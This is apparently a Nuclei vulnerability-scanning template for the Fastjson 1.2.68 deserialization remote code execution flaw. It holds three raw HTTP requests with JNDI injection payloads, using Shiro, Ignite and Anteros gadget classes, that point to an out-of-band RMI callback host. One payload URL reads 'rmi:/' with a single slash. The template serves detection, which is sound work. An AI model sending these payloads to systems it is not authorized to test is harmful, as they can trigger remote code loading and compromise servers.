id: fastjson-1-2-68-rce

info:
  name: Fastjson 1.2.68 - Remote Code Execution
  author: zh
  severity: critical
  description: |
    Fastjson 1.2.68 is susceptible to a deserialization remote code execution vulnerability.
  reference:
    - https://github.com/tdtc7/qps/tree/4042cf76a969ccded5b30f0669f67c9e58d1cfd2/Fastjson
    - https://github.com/wyzxxz/fastjson_rce_tool
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 3
  tags: fastjson,rce,deserialization,oast

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
           "@type":"org.apache.shiro.jndi.JndiObjectFactory",
           "resourceName":"rmi://{{interactsh-url}}/Exploit"
        }
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
           "@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
           "jndiNames":"rmi://{{interactsh-url}}/Exploit"
        }
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
           "@type":"br.com.anteros.dbcp.AnterosDBCPConfig",
           "metricRegistry":"rmi:/{{interactsh-url}}/Exploit"
        }

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms DNS Interaction
        words:
          - "dns"

      - type: status
        negative: true
        status:
          - 200

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